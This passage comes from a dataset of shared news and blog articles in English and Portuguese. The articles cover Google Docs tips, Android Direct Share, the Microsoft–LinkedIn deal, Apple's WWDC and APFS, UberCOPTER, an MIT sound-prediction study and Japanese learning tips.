sua experiência com o Google Docs (Foto: Reprodução/Carol Danelli) Selecione o texto desejado e clique no ícone de link. Aparecerão sugestões de hiperlinks para a palavra. Busque links para seus arquivos sem sair do Google Docs (Foto: Reprodução/Carol Danelli) Na página principal do seu Google Drive, clique na seta para baixo na caixa de busca e filtre os arquivos com base em formato, permissões ou visibilidade caso não se lembre exatamente do nome dele. Esqueceu o nome do arquivo? Ache-o pelo formato ou pela permissão (Foto: Reprodução/Carol Danelli) Acesse o menu ""Ferramentas"" e clique em pesquisar (Ctrl+Shift+I). No canto direito do seu navegador abrirá a área de pesquisa. Ao clicar no ícone ao lado do termo de busca, o usuário pode alterar o local de pesquisa. Caso esteja com um termo selecionado, a pesquisa encontrará resultados para ele. Pesquise um termo do seu arquivo na web. É possível decidir onde ele será buscado (Foto: Reprodução/Carol Danelli) 15. Acesse o Google Docs offline O Google Docs possui um recurso para acessar os arquivos mesmo estando sem conexão de Internet. Veja as dicas deste tutorial e aprenda a usá-lo no desktop. Qual é o melhor serviço de armazenamento em nuvem? Comente no Fórum do TechTudo.",pt
1465842144,CONTENT SHARED,-4228415104574264137,3302556033962996625,-4935617751218062693,,,,HTML,https://medium.com/google-developers/up-your-app-s-sharing-game-with-direct-share-2a2bc0a9ad36,Up your app's sharing game with DirectShare - Google Developers,"Up your app's sharing game with Direct Share As you send pictures, messages, goofy drawings, and humble-brags about your sweet life to the people you love, sharing suddenly rises in importance. You may even find yourself daydreaming about how sharing should work in your app. (Because we all know you didn't spend too long on it the first time around.) Thankfully, Marshmallow's Direct Share feature makes it easy to create a custom Share experience without too much hassle. Your app can specify direct share targets that will be displayed in the Share dialog presented to the user. To be clear, this means that instead of launching your app, you can now launch a specific conversation in response to a Share intent. Context can be critical, and your app has a chance to shine here. So, to spruce up your app and amp up your Share game, you'll need a ChooserTargetService . This service needs to implement onGetChooserTargets() to provide the direct share targets to the system. And this method is where you can get fancy . Maybe it makes the most sense to offer up the ten most recent conversations. Or perhaps your app offers a way for users to track who they care the most about, and you can provide a list of those BFFs instead. Or maybe you know which conversations (like group messages, for example) are most prone to using attachments, and those are your likely share targets. This magic is up to you. We just made the framework, so that you could shine. Then, in your manifest, you'll obvi declare the service. But when you do, don't forget to specify the BIND_CHOOSER_TARGET_SERVICE permission. Then, for each activity that you'll be using with the new service, you'll need to attach some new metadata to your intent filter . This is what will launch your wonderful service to provide the extra Share targets. Otherwise, you're stuck with the old-school approach. If you'd like to see this in action, we have a sample for you. Check it out and then update your own app to #BuildBetterApps. Join the discussion on the Google+ post and follow the Android Development Patterns Collection for more!",en
1465857905,CONTENT SHARED,-3134743773662773628,-1032019229384696495,-4176530619806596253,,,,RICH,https://www.scribd.com/doc/315571329/LinkedIn-MSFT-deal,Deck describing how MSFT plans to use Linkedin,"This presentation contains certain forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995 with respect to the proposed transaction and business combination between Microsoft and LinkedIn, including statements regarding the benefits of the transaction, the anticipated timing of the transaction and the products and markets of each company. These forward-looking statements generally are identified by the words ""believe,"" ""project,"" ""expect,"" ""anticipate,"" ""estimate,"" ""intend,"" ""strategy,"" ""future,"" ""opportunity,"" ""plan,"" ""may,"" ""should,"" ""will,"" ""would,"" ""will be,"" ""will continue,"" ""will likely result,"" and similar expressions. Forward-looking statements are predictions, projections and other statements about future events that are based on current expectations and assumptions and, as a result, are subject to risks and uncertainties. Many factors could cause actual future events to differ materially from the forward-looking statements in this presentation, including but not limited to: (i) the risk that the transaction may not be completed in a timely manner or at all, which may adversely affect LinkedIn's business and the price of the common stock of LinkedIn, (ii) the failure to satisfy the conditions to the consummation of the transaction, including the adoption of the merger agreement by the stockholders of LinkedIn and the receipt of certain governmental and regulatory approvals, (iii) the occurrence of any event, change or other circumstance that could give rise to the termination of the merger agreement, (iv) the effect of the announcement or pendency of the transaction on LinkedIn's business relationships, operating results and business generally, (v) risks that the proposed transaction disrupts current plans and operations of LinkedIn or Microsoft and potential difficulties in LinkedIn employee retention as a result of the transaction, (vi) risks related to diverting management's attention from LinkedIn's ongoing business operations, (vii) the outcome of any legal proceedings that may be instituted against us or against LinkedIn related to the merger agreement or the transaction, (viii) the ability of Microsoft to successfully integrate LinkedIn's operations, product lines, and technology and (ix) the ability of Microsoft to implement its plans, forecasts, and other expectations with respect to LinkedIn's business after the completion of the proposed merger and realize additional opportunities for growth and innovation. In addition, please refer to the documents that Microsoft and LinkedIn file with the SEC on Forms 10-K, 10-Q and 8-K. These filings identify and address other important risks and uncertainties that could cause events and results to differ materially from those contained in the forward-looking statements set forth in this presentation. Forward-looking statements speak only as of the date they are made. Readers are cautioned not to put undue reliance on forward-looking statements, and Microsoft and LinkedIn assume no obligation and do not intend to update or revise these forward-looking statements, whether as a result of new information, future events or otherwise. Additional Information and Where to Find It Nothing in this presentation shall constitute a solicitation to buy or subscribe for or an offer to sell any securities of LinkedIn or Microsoft or a solicitation of any vote or approval. In connection with the transaction, LinkedIn will file relevant materials with the Securities and Exchange Commission (the ""SEC""), including a proxy statement on Schedule 14A. This filing does not constitute a solicitation of any vote or approval. Promptly after filing its definitive proxy statement with the SEC, LinkedIn will mail the definitive proxy statement and a proxy card to each stockholder entitled to vote at the special meeting relating to the transaction. INVESTORS AND STOCKHOLDERS OF LINKEDIN ARE URGED TO READ THESE MATERIALS (INCLUDING ANY AMENDMENTS OR SUPPLEMENTS THERETO) AND ANY OTHER RELEVANT DOCUMENTS IN CONNECTION WITH THE TRANSACTION THAT LINKEDIN WILL FILE WITH THE SEC WHEN THEY BECOME AVAILABLE BECAUSE THEY WILL CONTAIN IMPORTANT INFORMATION ABOUT LINKEDIN AND THE TRANSACTION. The definitive proxy statement, the preliminary proxy statement and other relevant materials in connection with the transaction (when they become available), and any other documents filed by LinkedIn with the SEC, may be obtained free of charge at the SEC's website ( or at LinkedIn's website ( or by writing to LinkedIn Corporation, Investor Relations, 2029 Stierlin Court, Mountain View, California 94043. LinkedIn and its directors and executive officers may be deemed ""participants"" in the solicitation of proxies from LinkedIn's stockholders with respect to the transaction. Information about LinkedIn's directors and executive officers and their ownership of LinkedIn's common stock is set forth in LinkedIn's proxy statement on Schedule 14A filed with the SEC on April 22, 2016 and will be set forth in the proxy statement and other materials to be filed with SEC in connection with the transaction. June 13, 2016 World's Leading Professional Cloud + World's Leading Professional Network Microsoft's and LinkedIn's vision for the opportunity ahead 5 6 Empower every person and every organization on the planet to achieve more Connect the world's professionals to make them more productive and successful Growing membership 7 200+ countries and territories 433M+ members (+19% yr/yr) 105M+ MAU (+9% yr/yr) Note: Membership and engagement data as of Q1 FY16. Results data FY15 actuals. 8 increased engagement across LinkedIn as well as Office 365 and Dynamics monetization through individual and organization subscriptions and targeted advertising 9 $115B TAM LIN KEDIN $315B NEW TAM, UP 58% Note: TAM data reflects an internal analysis by Microsoft and LinkedIn from third-party sources including IDC, Gartner, Dell'Oro and ITU 10 11 Recruiting & hiring managers Calendar Collaboration Documents Prospects Learning Email Expertise Message MICROSOFT GRAPH LINKEDIN GRAPH Insights Jobs Meetings Customer accounts Universities Contacts Co-workers 12 How Microsoft and LinkedIn can reinvent ways to make professionals more productive 13 Windows SharePoint Outlook Word Excel Skype 14 15 Hi Jen, you are meeting with Sam next. You and Sam both went to the University of Washington and you both know Cindy Smith. Good news, the Huskies won last night's game. Do you want to look at Sam's profile? Do you want to see your meeting history with Cindy and Sam? Also, ok if I share the presentation for today with Sam? 16 How Microsoft and LinkedIn can reinvent selling, marketing and talent management business processes 17 18 19 20 LinkedIn can utilize Microsoft's field and distribution channels to reach new audiences and more customers Access to Microsoft's scaled cloud infrastructure and technology stack Increased Bing engagement with the best professional search LinkedIn feed with Windows notifications Empower developers in new ways with rich APIs and new training opportunity 21 22 We plan to obtain regulatory approval in the United States, the European Union, Canada and Brazil before closing the transaction We are confident about our prospects for obtaining regulatory approval by the end of this calendar year We believe the merger is highly complementary and will benefit consumer and enterprise users who will achieve more through our joint innovation and new scenarios 23 Financing  Purchase price to be financed primarily with new debt expected impact of purchase accounting adjustments as well as integration and transaction related expenses  $150 million of cost synergies annually by 2018 Capital Return Program  Previously announced share buyback program (~$10B remaining) will be completed on schedule Financial Reporting  Currently expect to report results for LinkedIn post close in our Productivity and Business Processes segment  New KPIs will be finalized prior to close 24 World's Leading Professional Cloud + World's Leading Professional Network",en
1465868928,CONTENT SHARED,-5161313513317812402,-1032019229384696495,5852254213536064219,,,,HTML,http://www.businessinsider.com/who-is-apple-executive-bozoma-saint-john-2016-6,"Meet Bozoma Saint John, the Apple executive who stole the show at WWDC","Alexei Oreskovic Bozoma Saint John stole the show. The Apple Music executive doesn't have nearly the same name recognition as the senior executives, from Eddy Cue to Craig Fedirighi, who shuffled on to the stage at the annual developer conference on Monday. But Saint John quickly turned heads during her appearance at the event, and not just because she got Apple's audience to rap along to Sugar Hill Gang's ""Rapper's Delight."" Even if the audience filled with tech developers wouldn't sing aloud as loudly as ""Boz"" wanted, her enthusiasm was infectious. Twitter instantly lit up, some people even tweeting that she should be the next CEO. Buzzfeed crowned her ""the coolest person to ever go onstage at an Apple event"". To her friends though, it's not surprise that the Apple exec would captivate the crowds. ""Boz is a fierce woman in consumer tech and is making waves at Apple,"" said Anjula Ancharia-Bath, a partner at Trinity Ventures partner and friend of Saint John's . ""This was her moment to shine."" Saint John ended up at Apple thanks to its acquisition of Beats Music - a move that she hadn't originally seen coming. She joined only three months before Beats sold to Apple, but has taken the reins as the head of global consumer marketing for both Apple Music and iTunes. Glory and honor and praise to the Most High. I'm ready. #Apple #WWDC #AppleMusic #AppleNews pic.twitter.com/z94Lr4PLbN - Bozoma Saint John (@SaintBoz) June 13, 2016 Her path to get to the Apple stage wasn't easy. Born to Ghanaian parents, Saint John moved with her family to Colorado Springs when she was 14. Her father's journey from joining the Ghanian army as a clarinet player to graduating from college in the US continues to be her biggest inspiration to this day, she says. ""People who would have seen him on paper would have said he would never achieve,"" Saint John said in a keynote at First Graduate this May. Saint John also went to Wesleyan University and spent a few years after graduation at ad agency SpikeDDB. Then, Saint John's career took her to Pepsi for nearly a decade, with a quick stint at fashion brand Ashley Stewart. Pepsi, though, was where Saint John made a name for herself in music circles. She ran its music and entertainment marketing group, a division that she practically invented herself, after she suggested Pepsi start sponsoring music festivals and award shows. It was in that role at Pepsi that Saint John met Ancharia-Bath, who also manages ""Quantico"" TV star Priyanka Chopra. ""She was a force of nature and in all seriousness I was blown away with her in our very first meeting,"" Ancharia-Bath said. ""She inspires me everyday with her fearless nature."" Her passion for music led her to move across the country from New York to Los Angeles to oversee marketing for Beats Music. Jimmy Iovine picked her personally from Pepsi, Ancharia-Bath said. ""And if there is one person who knows talent it's him. She champions global talent and has a unique perspective.""Ancharia-Bath said. ""She's willing to take risks and share her opinions no matter how controversial they may be at the time."" Because we're matchy matchy on Easter... #elevatormirrorselfie #Roots #theMOTHERland A photo posted by Bozoma Saint John (@badassboz) on Mar 27, 2016 at 10:09am PDT on Now that it's an Apple-owned company, Saint John splits her time between Cupertino and Los Angeles, flying back-and-forth multiple times a week. Apple Music launched in June 2015, but Saint John's time on stage was to highlight how the company has now rebuilt it from the ground up. That includes extra effects like lyrics, which she wanted to get the crowd to sing along too. She closed it out by playing Ghanian music, in a nod to her family background. Her passion though was what captured the crowd and the attendees at WWDC. As for whether she could be the next Apple CEO, Ancharia-Bath doesn't doubt Saint John could be anything she wants to be. ""She is a strong female leader who is no doubt going to go on to amazing things across tech. She is one of the few people that truly understand tech and pop culture and that will take her a long way,"" Ancharia-Bath said. SEE ALSO: Everything Apple announced at its biggest conference of the year NOW WATCH: Apple invested $1 billion in this Chinese company",en
1465870439,CONTENT SHARED,-9222795471790223670,-5868110530814399805,1607781139334257479,,,,HTML,http://idgnow.com.br/mobilidade/2016/06/13/uber-lanca-servico-de-helicoptero-em-sp-com-precos-a-partir-de-r-66/,Uber lança serviço de helicóptero em SP com preços a partir de R$66 - IDG Now!,"O Uber anunciou nesta segunda-feira, 13/06, o lançamento em São Paulo de um projeto piloto para oferecer viagens de helicóptero sob demanda na capital paulista em parceria com a Airbus Group. Chamado de UberCOPTER, o serviço está disponível a partir de hoje, 13/06, e ficará (literalmente) no ar por um mês. De acordo com a empresa, São Paulo é a primeira cidade no mundo a receber esse tipo de serviço - algo que não é realmente uma surpresa, já que a capital é conhecida globalmente pela enorme quantidade de carros e um dos piores trânsitos do planeta. O novo UberCOPTER conectará 5 helipontos (Blue Tree Faria Lima, Helicentro Morumbi, Sheraton WTC, Hangar ABC, Hotel Transamerica) e 4 aeroportos (Congonhas, Cumbica, Viracopos e Campo de Marte) na cidade de SP e regiões próximas e terá preços fixos, que serão mostrados antes do usuário solicitar a viagem. Até o dia 16/06, o serviço terá preços promocionais para alguns trechos, como uma viagem do heliponto do Blue Tree Faria Lima para o aeroporto de Guarulho (R$271,00 por assento), hotel Transamérica para o Blue Tree Faria Lima (R$80,00 por assento), Helicentro Morumbi para o Blue Tree Faria Lima (R$66,00 por assento). Os preços que serão válidos após essa data ainda não foram definidos pelo Uber e devem ser divulgados até o final desta semana. Como funciona Ao solicitar um voo, o usuário será direcionado para uma página externa, em que precisará digitar suas credenciais de login do Uber. Depois receberá uma mensagem de texto da empresa com as informações de acesso ao heliponto em questão. Um carro UberBLACK (pago separadamente e com preço de acordo com o trajeto) levará o usuário ao heliponto e irá buscá-lo no destino final da viagem. A novidade funcionará de segunda a segunda, das 7h às 20h, neste mês contando a partir de hoje, 13/06.",pt
1465875749,CONTENT SHARED,-1452702406886459776,3609194402293569455,-1068131345567994305,,,,HTML,http://exame.abril.com.br/rede-de-blogs/mochileiro-corporativo/2016/06/13/faca-um-campeonato-de-erros/,Faça um Campeonato de Erros! - Mochileiro Corporativo,"Paulo Campos A experiência é o nome que damos aos nossos erros. Quando falamos sobre as formas que o adulto aprende sabemos que boa parte do aprendizado acontece na prática 70%, com feedback, orientação ou modelo 20% e com a teoria 10%. Uma atividade que tenho feito nas minhas aulas é promover um compartilhar de histórias de erros com o objetivo de gerar aprendizado e reforçar que o erro tem sim validade, apenas quando o usamos para aprender. Campeonato de Erros: A atividade consiste em formar grupos de 5 a 6 pessoas que devem contar um erro que cometeram na sua vida profissional. Pode ser um erro no papel de líder, erro de processo, erro na forma de tratar os outros...enfim, qualquer erro. Em pé e em círculo, o primeiro participante contra um erro que cometeu e o grupo ao término da sua história deve dizer em coro: ohhhhhhh! O próximo participante à esquerda do primeiro, deve começar a sua história com a seguinte frase: Mas isso não é nada. ... aqui reforço a importância que a frase seja dita com um toque de ""ator"", ou seja, não simplesmente dizer e sim, interpretar. Há participantes que se revelam ótimos atores e fazem com que a energia e o humor na sala aumentem. Na semana passada, enquanto o grupo participava do Campeonato de Erros fui buscar um material em outra sala e fui interrompido por um funcionário do hotel: Professor o que a turma está fazendo agora? Respondi que estavam contando erros. De imediato o funcionário do hotel olhou pra mim e disse: Eles estão contanto seus erros e ainda por cima dão risada? Essa que quero ver.... e ficou no fundo da sala se deliciando com a experiência. Ao término do campeonato, cada participante relata o que aprendeu com a atividade, seguem alguns dos comentários: Deu para perceber que todo mundo erra!; Algumas histórias que me alertaram de como não fazer determinada ação; Fiquei à vontade para contar meu erro, pois a turma estava descontraída; As vezes são erros tão simples e por completa falta de atenção/ foco; Os erros fazem parte do aprendizado! Vou replicar essa atividade na minha próxima reunião... Aqui vai uma dicaduka : Ao aprender e errar com a prática você deve ter em mente o seguinte pensamento: Perdoe e lembre-se: Você erra, mas só é perdoado se lembrar do erro e aprender com ele! Professor Paulo Vieira de Campos tem 20 anos de experiência em soluções de aprendizagem. Autor do blog Mochileiro Corporativo da Revista Exame. Desde 2000 já realizou mais de 1.900 palestras para 100 mil pessoas nos temas relacionados ao comportamento humano nas áreas de Liderança, aprendizado de adultos e gestão de pessoas. Contato: pvcampos@terra.com.br",pt
1465879103,CONTENT SHARED,6230272013326185698,3609194402293569455,-1068131345567994305,,,,HTML,http://startupi.com.br/2016/06/evento-em-sao-paulo-traz-grandes-players-do-mercado-mobile-e-desafio-para-startups/,Evento em São Paulo traz grandes players do mercado mobile e desafio para startups - Startupi,"No dia 24 de agosto será realizada a segunda edição do Global Mobile Internet Conference (GMIC), no WTC Events Center, em São Paulo. Com mais de 50 palestrantes, o GMIC reunirá empresários, investidores, startups e entusiastas da tecnologia mobile, com o objetivo de discutir inovações e tendências em internet móvel. Organizado pela GWC Inc. - um clube de negócios internacional que reúne os maiores players da indústria mobile do mundo -, o GMIC é uma conferência internacional realizada em oito cidades pelo mundo: Pequim, Bangalore, São Francisco, Tóquio, Nova Iorque, Jacarta, Taipei e São Paulo, com o objetivo de discutir tendências e inovações da tecnologia móvel para a sociedade e corporações. Dentre os destaques deste ano, o GMIC São Paulo reunirá alguns dos principais fundadores e executivos de startups da América do Sul e do mundo, que debaterão temas ligados ao mercado mobile brasileiro. A conferência de São Paulo também terá conteúdo especial para empresas que estão iniciando projetos de mobilidade. Entre os confirmados para a grade de palestras estão alguns executivos das principais empresas de tecnologia, como Twitter, Baidu, Movile, Zup, Kaszek Ventures e Meitu. Disputada em nove edições globais, os visitantes do evento poderão presenciar a primeira edição no Brasil do G-Startup Wordwide , que é uma a competição global entre as startups mais inovadoras. As dez finalistas irão apresentar o seu produto durante o GMIC em São Paulo e a ganhadora receberá um investimento de 50 mil dólares; três dias de treinamento no Google Headquarters e um ano como membro do clube de negócios da GWC Inc. Além disso, a premiada irá disputar a grande final de startups inovadoras no Vale do Silício e concorrer a um prêmio de 300 mil dólares e alcançar a visibilidade dos maiores players e investidores do mundo todo. As vagas são limitadas. Para saber mais sobre o local do evento e link de inscrição, acesse a Agenda de Eventos Startupi .",pt
1465899433,CONTENT SHARED,-2382583983070627054,-1443636648652872475,8700468425040766060,,,,HTML,http://news.mit.edu/2016/artificial-intelligence-produces-realistic-sounds-0613,Artificial intelligence produces realistic sounds that fool humans,"For robots to navigate the world, they need to be able to make reasonable assumptions about their surroundings and what might happen during a sequence of events. One way that humans come to learn these things is through sound. For infants, poking and prodding objects is not just fun; some studies suggest that it's actually how they develop an intuitive theory of physics. Could it be that we can get machines to learn the same way? Researchers from MIT's Computer Science and Artificial Intelligence Laboratory (CSAIL) have demonstrated an algorithm that has effectively learned how to predict sound: When shown a silent video clip of an object being hit, the algorithm can produce a sound for the hit that is realistic enough to fool human viewers. This ""Turing Test for sound"" represents much more than just a clever computer trick: Researchers envision future versions of similar algorithms being used to automatically produce sound effects for movies and TV shows, as well as to help robots better understand objects' properties. ""When you run your finger across a wine glass, the sound it makes reflects how much liquid is in it,"" says CSAIL PhD student Andrew Owens, who was lead author on an upcoming paper describing the work. ""An algorithm that simulates such sounds can reveal key information about objects' shapes and material types, as well as the force and motion of their interactions with the world."" The team used techniques from the field of ""deep learning,"" which involves teaching computers to sift through huge amounts of data to find patterns on their own. Deep learning approaches are especially useful because they free computer scientists from having to hand-design algorithms and supervise their progress. The paper's co-authors include recent PhD graduate Phillip Isola and MIT professors Edward Adelson, Bill Freeman, Josh McDermott, and Antonio Torralba. The paper will be presented later this month at the annual conference on Computer Vision and Pattern Recognition (CVPR) in Las Vegas. How it works The first step to training a sound-producing algorithm is to give it sounds to study. Over several months, the researchers recorded roughly 1,000 videos of an estimated 46,000 sounds that represent various objects being hit, scraped, and prodded with a drumstick. (They used a drumstick because it provided a consistent way to produce a sound.) Next, the team fed those videos to a deep-learning algorithm that deconstructed the sounds and analyzed their pitch, loudness and other features. ""To then predict the sound of a new video, the algorithm looks at the sound properties of each frame of that video, and matches them to the most similar sounds in the database,"" says Owens. ""Once the system has those bits of audio, it stitches them together to create one coherent sound."" The result is that the algorithm can accurately simulate the subtleties of different hits, from the staccato taps of a rock to the longer waveforms of rustling ivy. Pitch is no problem either, as it can synthesize hit-sounds ranging from the low-pitched ""thuds"" of a soft couch to the high-pitched ""clicks"" of a hard wood railing. ""Current approaches in AI only focus on one of the five sense modalities, with vision researchers using images, speech researchers using audio, and so on,"" says Abhinav Gupta, an assistant professor of robotics at Carnegie Mellon University who was not involved in the study. ""This paper is a step in the right direction to mimic learning the way humans do, by integrating sound and sight."" An additional benefit of the work is that the team's library of 46,000 sounds is free and available for other researchers to use. The name of the dataset: ""Greatest Hits."" Fooling humans To test how realistic the fake sounds were, the team conducted an online study in which subjects saw two videos of collisions - one with the actual recorded sound, and one with the algorithm's - and were asked which one was real. The result: Subjects picked the fake sound over the real one twice as often as a baseline algorithm. They were particularly fooled by materials like leaves and dirt that tend to have less ""clean"" sounds than, say, wood or metal. On top of that, the team found that the materials' sounds revealed key aspects of their physical properties: An algorithm they developed could tell the difference between hard and soft materials 67 percent of the time. The team's work aligns with recent CSAIL research on audio and video amplification. Freeman has helped develop algorithms that amplify movements captured by video that are invisible to the naked eye, which has allowed his groups to do things like make the human pulse visible and even recover speech using nothing more than video of a potato chip bag . Looking ahead Researchers say that there's still room to improve the system. For example, if the drumstick moves especially erratically in a video, the algorithm is more likely to miss or hallucinate a false hit. It is also limited by the fact that it applies only to ""visually indicated sounds"" - sounds that are directly caused by the physical interaction that is being depicted in the video. ""From the gentle blowing of the wind to the buzzing of laptops, at any given moment there are so many ambient sounds that aren't related to what we're actually looking at,"" says Owens. ""What would be really exciting is to somehow simulate sound that is less directly associated to the visuals."" The team believe that future work in this area could improve robots' abilities to interact with their surroundings. ""A robot could look at a sidewalk and instinctively know that the cement is hard and the grass is soft, and therefore know what would happen if they stepped on either of them,"" says Owens. ""Being able to predict sound is an important first step toward being able to predict the consequences of physical interactions with the world."" The work was funded, in part, by the National Science Foundation and Shell. Owens was also supported by a Microsoft Research Fellowship.",en
1465905043,CONTENT SHARED,-1617279065634731389,-709287718034731589,5373256410045376795,,,,HTML,http://9to5mac.com/2016/06/13/apple-file-system-apfs/,"Apple File System (APFS) announced for 2017, scales 'from Apple Watch to Mac Pro' and focuses on encryption","Startup Disk : APFS volumes cannot currently be used as a startup disk. Case Sensitivity : Filenames are currently case-sensitive only. Time Machine : Time Machine backups are not currently supported. FileVault : APFS volumes cannot currently be encrypted using FileVault. Fusion Drive : Fusion Drives cannot currently use APFS. The File system isn't Open Source at this time and Apple isn't quite saying if it will eventually Open Source the File System. Apple plans to document and publish the APFS volume format when Apple File System is released next year. Apple File System is a Next-Generation File System for Apple Products HFS+ and it's predecessor HFS are more than 30 years old. These file systems were developed in an era of floppy disks and spinning hard drives, where file sizes were calculated in kilobytes or megabytes. Today, solid-state drives store millions of files, accounting for gigabytes or terabytes of data. There is now also a greater importance placed on keeping sensitive information secure and safe from prying eyes. A new file system is needed to meet the current needs of Apple products, and support new technologies for decades to come. The following sections describe the general characteristics of Apple File System, as they relate to functionality in the HFS+ file system: Containers and Volumes A container is the base storage unit for APFS. It generally maps 1:1 to GUID Partition Table (GPT) entries, and manages its own space allocations and crash protection scheme. Each container exports one or more volumes , or file systems, each of which have their own namespaces , or sets of files and directories. Note: Apple File System does not directly implement software RAID, however APFS can be combined with an Apple RAID volume to support Striping ( RAID 0 ), Mirroring ( RAID 1 ) and Concatenation ( JBOD ). APFS can also be used with direct-attached hardware RAID solutions. Encryption Security and privacy are fundamental in the design of Apple File System. On OS X, Full Disk Encryption has been available since OS X 10.7 Lion. On iOS, a version of data protection that encrypts each file individually with its own key has been available since iOS 4, as described in iOS Security Guide . APFS combines both of these features into a unified model that encrypts file system metadata. APFS supports encryption natively. You can choose one of the following encryption models for each volume in a container: no encryption, single-key encryption, or multi-key encryption with per-file keys for file data and a separate key for sensitive metadata. APFS encryption uses AES-XTS or AES-CBC, depending on hardware. Multi-key encryption ensures the integrity of user data even when its physical security is compromised. Compatibility Existing third party utilities will need to be updated to support Apple File System. Consult the utility's documentation, or contact the vendor for compatibility information. APFS formatted volumes are not recognized on OS X 10.11 Yosemite and earlier. You can share APFS formatted volumes using the SMB network file sharing protocol. The AFP protocol is deprecated and cannot be used to share APFS formatted volumes.",en
1465910874,CONTENT SHARED,8527071648070448758,3375381077362025672,1550314425025246725,,,,HTML,http://useyourloaf.com/blog/readable-content-guides/,Readable Content Guides,"If you can target iOS 9 Layout Anchors and Layout Guides make Auto Layout a lot easier. In this post I want to cover a special type of layout guide - the readable content guide . If you have text that stretches across the width of the device you can get lines that are so long they become hard to read . This is especially true on larger devices like the iPad. The readable content guide creates an area that can be easily read without you losing track of the lines. Interface Builder It is possible to create constraints using the readable content guide in Interface Builder but the feature is well hidden. In this example I have a single UILabel with leading and trailing constraints to the margins of the root view. A third constraint fixes the label to the bottom of the top layout guide. The label has the number of lines set to zero (unlimited) and is using the body dynamic text style. At this point we have nothing unusual, here are the three constraints in Interface Builder: The problem comes when we read this text on a wide device. This is how this view looks on an iPad Air 2 in landscape orientation (at 50% scale): The leading and trailing margins in this case are just 20 points making the label 984 points wide. The line length exceeds 130 characters and is not much fun to read. The solution is to constrain the text label to the readable content guide of the root view instead of the layout margins. In Interface Builder click on the root view and using the size inspector choose Follow Readable Width : Not the easiest to find but now we have a much more readable line length. I have added some size guides to make it easier to see what is happening: The readable content guide defines an area that is 672 points wide and inset 176 points from the edges of the view. The line length is now a much more readable 87 characters. As a general recommendation, constrain single columns of text to the readable content guide of their superview and not the layout margin. The system tries to maintain the line length to a readable size as the view width changes. Rotating the device to portrait keeps the content size the same, albeit with smaller margins. Note that the readable content guide will never extend beyond the view's layout margin guide. Dynamic Type The interesting thing about the readable content guides is that they adapt not only to the changing size of the view but also to dynamic type size. This should not be a surprise if you remember that the idea is to keep the character count of the lines to a readable size. So if I choose the smallest dynamic type size the content guide width decreases to maintain the line length. The text label shrinks from 672 points to 560 points: Choosing the largest of the standard dynamic type sizes has the reverse effect. The content guide width grows to 896 points to maintain a readable line length: Creating Constraints in Code The readableContentGuide is a property on UIView of type UILayoutGuide like layoutMarginsGuide . It has the usual layout anchors we can use to create constraints. So if we have a UILabel created in code and configured from the viewDidLoad method of the view controller: First we remember to disable the automatic translation of the autoresizing mask and then fix the label to the bottom of the top layout guide: Now to make this label fit within the readable content guides of the view we create leading and trailing constraints between the text label and the layout anchors of the readableContentGuide property of the view: Note that this is almost identical to creating constraints to the layout margins. The only difference is that we use readableContentGuide instead of layoutMarginsGuide . Further Reading Never miss a post!",en
1465918747,CONTENT SHARED,9136323715291453594,-7711052404720939396,4374244126221895679,,,,HTML,http://www.fluentu.com/japanese/blog/how-to-improve-your-japanese/,How to Improve 8 Major Problem Areas for Japanese Learners of All Levels,"Have you hit a big ol' wall while learning Japanese? Do you feel like you've collided head-on with a giant pile of bricks? Or maybe, instead of bricks, that obtrusive wall is built out of and complex Japanese grammar rules. Don't worry. You're not alone. Most learners eventually reach a point where learning Japanese becomes much more difficult and your progress seems to slow to a crawl. Boredom or frustration sets in. It can happen at different times for different people, but the reaction is often the same: You start making excuses not to learn. You're suddenly too busy. You have better (easier) things to do with your time. It's at this point most people will take a break or quit altogether. Well, if you want to take a giant sledgehammer to this wall or just avoid it in the future, here are some tips to get you back in the game! 1. ""I don't know where to start."" First, calm yourself down. Take a breath. Perhaps meditate for a little while. The key here is to avoid becoming overwhelmed. Now go a little deeper into your existing Japanese skills and knowledge. You know what you know, and you know what you don't know. Take a moment to seriously analyze your weaknesses. Be honest with yourself. Once you identify some key areas in which you can improve, you can target those areas to continue improving. Let's have a look at how we can identify and correct our problems. This post will address a few different key issues you may be having in learning Japanese. Vocabulary Grammar Pronunciation Sounding like a native speaker Speaking without fear Motivation (or lack thereof) Once you've identified your major problem areas, proceed to read the rest of this post and choose some methods of improvement from our given recommendations. 2. ""I'm missing a lot of vocabulary."" Maybe vocabulary is a weakness for you. Do you find yourself able to name simple objects but unable to thoroughly describe them? For example, maybe you know the word ""table"" but you don't know words for ""legs,"" ""surface,"" ""wood,"" ""heavy"" or other things related to tables. Maybe you know a basic word for an object but not different types of those objects. For example, let's take a look at the word ""food,"" 食べ物 (tabemono) . Japanese food is 和食 (washoku) Italian food is イタリア料理 (Itaria ryouri) Appetizer is 前菜 (zensai) A traditional Japanese multi-course meal is called 懐石料理 (kaiseki ryouri) If you know the word ""food"" but don't know any types of Japanese food or any other words about food, you may want to focus on building some food vocabulary. Here's a trick that works well. Learn vocabulary by situation or theme Try to learn words following a theme or situation you might encounter. For example, one theme might be ""at the restaurant"" so you would study a lot of vocabulary related to restaurants. That includes food words, ordering and paying of course. You can even study about different types of restaurants. By learning these words together, you'll be able to remember them more easily since they all have a strong thematic link. This will also assist you later when you want to practice conversations involving that situation or theme. 3. ""I'm kinda bored."" Boredom can really get the best of you when trying to study a language-but luckily we live in a world with unlimited resources for fun. You just need to shift your perspective a little. Play a game! There's a cool Japanese language game you can play with yourself in your everyday life to increase your vocabulary. Practice describing something random you come across during your regular routine. If you walk past a park, try to describe the park in excruciating detail. What's in the park? What plants? What animals do you see? Do you see people? Describe them. Is there a bench? What color is it? What material? What does it feel like? Translate these descriptions into Japanese, or try to think them up directly in Japanese. By describing everything in extreme detail, you can increase your vocabulary quickly. By providing context, you can also have an easier time remembering. You'll also start to see the gaps in your vocabulary, which allows you to take the steps to fill them in. If you don't know a word, take note of it on paper or on your smartphone using your favorite note-taking app. Go back later and translate the words and study them. Denshi Jisho is a great free online dictionary to look up words.Add them to your favorite flashcard app like to continue your study. 4. ""I can't get through grammar lessons."" You might be stuck on some grammar lessons at your current Japanese level, or you might simply be dreading the next one you'll need to face to advance. Or perhaps grammar lessons bore you to tears and you can't focus enough to soldier through. For all these issues, the solution is the same. Read grammar sites and blogs. This is a great, free way to improve your grammar. Grammar sites and blogs often provide an engaging narrative to guide you along and make learning feel effortless-even entertaining! Simply read and read and read about it online. Choose a grammar point. Search for it. Study the explanations and examples. Try to form your own examples. Keep trying to use the grammar point in content until you can use it without problem. Continue to practice. If you don't, you'll forget! Need a place to get started? Here are some great free resources you can use to practice your grammar. 5. 